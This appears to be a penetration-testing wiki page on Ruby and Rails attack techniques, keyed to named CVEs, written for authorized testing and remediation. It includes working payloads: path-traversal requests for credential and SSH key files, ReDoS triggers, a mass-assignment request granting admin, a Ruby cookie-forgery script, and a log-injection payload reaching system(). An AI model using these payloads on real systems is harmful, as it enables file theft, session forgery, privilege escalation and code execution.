Ruby Tricks
File upload to RCE
As explained in this article, uploading a .rb file into sensitive directories such as config/initializers/ can lead to remote code execution (RCE) in Ruby on Rails applications.[14]
Tips:
- Other boot/eager-load locations executed at application start are also risky when writable (
config/initializers/is the classic example). If an arbitrary file upload lands underconfig/and is later evaluated or required, it may produce RCE at boot. - Look for dev/staging builds that copy user-controlled files into the container image where Rails will load them on boot.
Active Storage image transformation → command execution (CVE-2025-24293)
When an application uses Active Storage with image_processing + mini_magick, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.[1]
-
A vulnerable pattern looks like:
<%= image_tag blob.variant(params[:t] => params[:v]) %>where
params[:t]and/orparams[:v]are attacker-controlled. -
What to try during testing
- Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
- Fuzz
params[:t]andparams[:v]for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host. - If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
-
Remediation/detections
- If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage +
image_processing+mini_magickand user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
- If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage +
Rack::Static LFI / path traversal (CVE-2025-27610)
If the target stack uses Rack middleware directly or via frameworks, versions of rack prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via Rack::Static when :root is unset/misconfigured. Encoded traversal in PATH_INFO can expose files under the process working directory or an unexpected root.[5]
-
Hunt for apps that mount
Rack::Staticinconfig.ruor middleware stacks. Try encoded traversals against static paths, for example:GET /assets/%2e%2e/%2e%2e/config/database.yml GET /favicon.ico/..%2f..%2f.envAdjust the prefix to match configured
urls:. If the app responds with file contents, you likely have LFI to anything under the resolved:root. -
Mitigation: upgrade Rack; ensure
:rootonly points to a directory of public files and is explicitly set.
Rack Content-Type parsing ReDoS (CVE-2024-25126)
Rack versions before 3.0.9.1 and 2.2.8.1 spent quadratic time splitting crafted Content-Type headers. A header containing tens of thousands of leading spaces can occupy a Puma/Unicorn worker and cause denial of service or request-queue starvation.[10]
- Quick PoC (will hang one worker):
python - <<'PY'
import requests h = {‘Content-Type’: (’ ’ * 50_000) + ‘a,’} requests.post(‘http://target/’, data=‘x’, headers=h) PY
- The vulnerable parser can be reached through many Rack-based stacks, including Rails, Sinatra, Hanami, and Grape, subject to proxy/header-size limits in frontends such as nginx or HAProxy. Use a controlled environment or a single low-impact request during authorized testing.
- The fix makes parsing linear. Look for `rack` versions below `3.0.9.1` or `2.2.8.1`; do not assume a WAF blocks the syntactically valid header.
## REXML XML parser ReDoS (CVE-2024-49761)
The REXML gem < 3.3.9 (Ruby 3.1 and earlier) catastrophically backtracks when parsing hex numeric character references containing long digit runs (e.g., `�x41;`). Any XML processed by REXML or libraries that wrap it (SOAP/XML API clients, SAML, SVG uploads) can be abused for CPU exhaustion.<sup>[[15]](#references)</sup>
Minimal trigger against a Rails endpoint that parses XML:
```bash
curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>�x41;</r>'
If the process stays busy for seconds and worker CPU spikes, it is likely vulnerable. Attack is low bandwidth and affects background jobs that ingest XML as well.
CGI cookie parsing / escapeElement ReDoS (CVE-2025-27219 & CVE-2025-27220)
Apps using the cgi gem (default in many Rack stacks) can be frozen with a single malicious header:[11]
CGI::Cookie.parsewas super-linear; huge cookie strings (thousands of delimiters) trigger O(N²) behavior.CGI::Util#escapeElementregex allowed ReDoS on HTML escaping.
Both issues are fixed in cgi 0.3.5.1 / 0.3.7 / 0.4.2. For pentests, drop a massive Cookie: header or feed untrusted HTML to helper code and watch for worker lockup. Combine with keep-alive to amplify.
Basecamp google_sign_in open redirect chain (CVE-2025-57821)
The google_sign_in gem before 1.3.0 performed an incomplete same-origin check on its persisted post-authentication redirect URL. A malformed URL could pass that check and redirect the user to another origin, potentially exposing authentication information such as a token.[16]
Exploit flow:
- First obtain a separate primitive that can inject arbitrary data into the application’s cookie-backed session. The maintainer advisory states there is no known vector when session state is stored in a database.
- Inject the malformed redirect value into the session/flash state used by
google_sign_in. - After authentication, the gem follows the attacker-controlled cross-origin redirect. If authentication information is incorporated into that flow, it may be exposed and lead to account compromise.[16]
During testing, inspect Gemfile.lock for google_sign_in before 1.3.0 and determine how the application stores session/flash data. Confirm the chained behavior through the Location header; do not assume a directly supplied query parameter alone reaches the persisted redirect.
Rails nested mass assignment via permit! on a sub-object
A common Rails footgun is calling update() on a nested parameter object after permit!, for example:
def updated_ajax
@user.update(params.require(:password).permit!)
end
If the route is supposed to only accept password[password] and password[password_confirmation], an attacker can often add privileged attributes under the same prefix:
POST /admin/users/5/updated_ajax HTTP/1.1
Content-Type: application/x-www-form-urlencoded
_method=patch&password[password]=NewPass123!&password[password_confirmation]=NewPass123!&password[role]=admin
Because permit! marks every nested key as permitted, update() applies all attacker-controlled fields (role, is_admin, status, user_group_id, owner_id, etc.). During testing:
- Find self-service update endpoints that accept nested params such as
user[...],profile[...],password[...],account[...]. - Check whether the controller passes that entire object into
update,update_attributes, or similar. - Replay the legitimate request and append privileged attributes under the same nested key.
This is still mass assignment, but in Rails apps it often hides in “safe-looking” strong-parameter code because the dangerous call is permit! on a nested object rather than direct params[:user] binding.[2][3]
Camaleon CMS admin panel → MinIO / S3 pivot
If Rails/CMS admin access exposes filesystem/storage settings, treat it as a credential-recovery surface.[2] In Camaleon deployments using S3-compatible storage, the admin UI may reveal:
- endpoint URL
- access key / secret key
- region
- bucket names
With those values, enumerate the object store directly:
aws configure --profile target
aws configure set endpoint_url http://target:54321 --profile target
AWS_PROFILE=target aws s3 ls
AWS_PROFILE=target aws s3 ls s3://internal/
S3-compatible backends such as MinIO are easy to fingerprint from XML error responses and x-amz-* / Server: MinIO headers. Once valid credentials are recovered, check buckets for dotfiles, SSH keys, app source, backups, and deployment secrets.
Camaleon private-media download path traversal on S3/AWS backends
Camaleon’s private-media download flow has had traversal issues where the controller prepends a fixed prefix and forwards attacker-controlled input to the uploader backend:[2][4]
file = cama_uploader.fetch_file("private/#{params[:file]}")
send_file file, disposition: 'inline'
If the configured uploader backend does not canonicalize and validate the resulting path, any authenticated user may read arbitrary files with traversal sequences:
curl -s 'http://target/admin/media/download_private_file?file=../../../etc/passwd' -b cookie.jar
curl -s 'http://target/admin/media/download_private_file?file=../../../config/master.key' -b cookie.jar
curl -s 'http://target/admin/media/download_private_file?file=../../../home/app/.ssh/id_ed25519' -b cookie.jar
Interesting Rails targets after confirming file read:
config/master.keyconfig/credentials.yml.encconfig/database.ymlconfig/storage.yml- service files / nginx configs that reveal the runtime user and working directory
- SSH material readable by the Rails process user
For Camaleon specifically, this bug resurfaced on the AWS/S3 uploader as an incomplete fix bypass: the local uploader added path validation, but the S3 uploader did not. When reviewing similar fixes, always compare every storage backend instead of only the default/local implementation.
Forging/decrypting Rails cookies when secret_key_base is leaked
Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
If you only have an authenticated file-read primitive, try to recover config/master.key first and then decrypt config/credentials.yml.enc to extract secret_key_base. In many apps this is the shortest path from LFI/path traversal to cookie decryption and session forgery.[2]
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
Ruby to decrypt/forge cookies
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
Forging Rails signed IDs / SGIDs when secret_key_base is leaked
Beyond cookies, Rails also uses ActiveSupport::MessageVerifier for attacker-relevant tokens such as record.signed_id, ActiveStorage::Blob#signed_id, and Signed Global IDs (to_sgid). If secret_key_base leaks, every endpoint that later calls find_signed, find_signed!, GlobalID::Locator.locate_signed, or ActiveStorage::Blob.find_signed! becomes interesting. Most real-world impact starts as an IDOR/authz bug (swapping the referenced object), and only becomes RCE if the located object is later passed into an unsafe sink.
What to hunt for:
- Params or hidden fields named
signed_id,sgid,attachable_sgid,blob_signed_id,signed_blob_id,record_gid, etc. - Direct-upload and Action Text/Trix flows where the browser submits blob references before the final form submission.
- Source patterns such as:
rg -n "find_signed!?\(|locate_signed\(|signed_id\(|to_sgid\(|purpose:|for:" app config lib - Exact verifier scopes/purposes like:
User.find_signed(token, purpose: :password_reset) ActiveStorage::Blob.find_signed!(token, purpose: :blob_id) GlobalID::Locator.locate_signed(token, for: 'sharing')
Useful notes during exploitation:
ActiveRecord::SignedIddoes not expire by default. Signed Global IDs in Rails expire after 1 month by default unless the app overridesRails.application.config.global_id.expires_in.[13]- The
purpose/for:scope must match. A leakedsecret_key_baseis not enough if you guess the wrong verifier context. MessageVerifiersupports rotated old secrets/digests/serializers. If the app still accepts fallbacks viarotate(...), an older leaked secret may remain valid for minting tokens.- Common offensive targets are password-reset tokens, invitation flows, permanent attachment/blob references, and any hidden field that resolves a server-side object without re-checking authorization.
Quick Rails-console examples when you have app code or a foothold:
user.signed_id(purpose: :password_reset, expires_in: 15.minutes)
blob.signed_id(purpose: :blob_id)
doc.to_sgid(for: 'sharing', expires_in: 2.hours).to_s
See also (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution: Readme Ruby Class Pollution Ruby Json Pollution
- Template injection in Ruby engines (ERB/Haml/Slim, etc.): Readme
Log Injection → RCE via Ruby load and Pathname.cleanpath smuggling
When an app (often a simple Rack/Sinatra/Rails endpoint) both:
- logs a user-controlled string verbatim, and
- later
loads a file whose path is derived from that same string (afterPathname#cleanpath),
You can often achieve remote code execution by poisoning the log and then coercing the app to load the log file. Key primitives:[6]
- Ruby
loadevaluates the target file content as Ruby regardless of file extension. Any readable text file whose contents parse as Ruby will be executed.[9] Pathname#cleanpathcollapses.and..segments without hitting the filesystem, enabling path smuggling: attacker-controlled junk can be prepended for logging while the cleaned path still resolves to the intended file to execute (e.g.,../logs/error.log).[7]
Real-world poison source: Rack::CommonLogger (CVE-2025-25184)
Before rack 2.2.11 / 3.0.12 / 3.1.10, Rack::CommonLogger could write attacker-controlled newlines from env['REMOTE_USER'] into the access log.[12] In practice this matters when the target uses Rack::Auth::Basic or otherwise copies a user-controlled identifier into REMOTE_USER, and usernames are allowed to contain CR/LF or other log-breaking bytes.
This is usually just log poisoning, but it becomes much more interesting when chained with the load-the-log pattern below, log processors that parse/execute content, or admin workflows that inspect logs in vulnerable terminals.
Quick checks:
- Register or authenticate with a username containing
\r\nFAKELOGand hit an endpoint that is known to be logged by Rack middleware. - Review access logs (or visible downstream effects) for split lines, forged entries, or parser crashes.
- If you already found a later sink such as
load ../logs/error.log,eval File.read(...), or a custom job that replays log content,CommonLoggergives you a realistic way to plant the payload.
Minimal vulnerable pattern
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
Why the log can contain valid Ruby
Logger writes prefix lines like:[8]
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
In Ruby, # starts a comment and 9/2/2025 is just arithmetic. To inject valid Ruby code you need to:
- Begin your payload on a new line so it is not commented out by the
#in the INFO line; send a leading newline (\nor%0A). - Close the dangling
[introduced by the INFO line. A common trick is to start with]and optionally make the parser happy with][0]=1. - Then place arbitrary Ruby (e.g.,
system(...)).
Example of what will end up in the log after one request with a crafted param:
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
Smuggling a single string that both logs code and resolves to the log path
We want one attacker-controlled string that:
- when logged raw, contains our Ruby payload, and
- when passed through
Pathname.new(<input>).cleanpath, resolves to../logs/error.logso the subsequentloadexecutes the just-poisoned log file.
Pathname#cleanpath ignores schemes and collapses traversal components, so the following works:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
- The
#before://ensures Ruby ignores the tail when the log is executed, whilecleanpathstill reduces the suffix to../logs/error.log. - The leading newline breaks out of the INFO line;
]closes the dangling bracket;][0]=1satisfies the parser.
End-to-end exploitation
- Send the following as the backup script name (URL-encode the first newline as
%0Aif needed):\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log - The app logs your raw string into
logs/error.log. - The app computes
cleanpathwhich resolves to../logs/error.logand callsloadon it. - Ruby executes the code you injected in the log.
To exfiltrate a file in a CTF-like environment:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
URL-encoded PoC (first char is a newline):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
References
- [1] Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1)
- [2] 0xdf – HTB: Facts
- [3] GitLab Advisory Database – CVE-2025-2304 Camaleon CMS mass assignment
- [4] NVD – CVE-2026-1776 Camaleon CMS AWS uploader path traversal
- [5] GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610)
- [6] Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
- [7] Ruby Pathname.cleanpath docs
- [8] Ruby Logger
- [9] How Ruby load works
- [10] Rack security advisory: ReDoS in content-type parsing (CVE-2024-25126)
- [11] Ruby security advisories for CGI / URI (CVE-2025-27219/27220/27221)
- [12] GitHub Advisory: Possible Log Injection in Rack::CommonLogger (CVE-2025-25184)
- [13] Rails GlobalID README (Signed Global IDs, purpose, expiry)
- [14] OffSec Blog: CVE-2024-46986 – Arbitrary File Write in Camaleon CMS Leading to RCE
- [15] Ruby Lang – ReDoS in REXML (CVE-2024-49761)
- [16] GitHub Security Advisory – Basecamp google_sign_in Open Redirect (CVE-2025-57821)